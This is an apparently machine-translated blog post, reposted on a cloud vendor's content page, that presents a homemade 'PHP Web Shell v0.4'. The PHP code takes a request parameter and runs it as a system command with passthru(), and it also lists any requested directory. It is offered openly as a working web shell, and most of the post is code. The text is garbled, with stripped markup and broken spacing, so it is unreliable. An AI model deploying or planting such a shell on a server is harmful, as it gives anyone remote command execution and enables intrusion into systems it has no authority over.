PHPShell compilation (Ultimate Edition)

Source: Internet
Author: User
PHPShell has previously written a PHP & nbsp; CMD & nbsp; Shell without any technical content. it always feels that the function is weak and it has not been well handled for some problems, for example, ghost has previously written a php cmd Shell without any technical content. he always finds that the function is weak and does not handle some problems well, such as browsing directories. after learning PHP in depth, I found a lot of interesting functions, so I wrote a new PHP Shell and hoped everyone would like it!

Program introduction:

Program: PHP Web Shell
Version: v0.4
Function:
1. supports mainstream operating systems: Win32/* nix/* BSD
2. execute system commands/Programs
3. Browse directory


Future features:
1. support for online file upload/download
2. supports online file creation, deletion, addition, and modification.

Program code:



PHP Web Shell v0.4



PHP Web ShellV0.4
Applicable Systems: Win32, Linux, Unix, and BSD






Echo "SERVER address: $ _ SERVER [SERVER_NAME]
"; // Display the server domain name or IP address
Echo "path of this file: $ _ SERVER [PATH_TRANSLATED]"; // display the path of the file
?>


If (! Empty ($ cmd )){
Echo "result after executing the $ cmd command:
"; // Prompt after the command is executed
}
If (! Empty ($ dir )){
Echo "view the result of directory $ dir:
"; // The prompt after viewing the Directory
}
?>

If (empty ($ cmd) & empty ($ dir) {// determines whether a command is input. if not, an error message is displayed.
Echo "enter the command you want to execute or the directory you want to browse!
(Make sure that the system has the corresponding command or directory and the corresponding operation permissions)
";
}
@ Passthru ($ cmd); // use the passthru () function to execute the obtained command (variable). similar functions in PHP include system (), popen (), Exec (), etc.
$ F = @ opendir ($ dir); // use the opendir () function to obtain the directory information and assign it to the variable.
While ($ file = @ readdir ($ f) {// use the readdir () function to read directory information cyclically
Echo "$ file \ n"; // The obtained directory information is displayed in the branch.
}
?>


Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.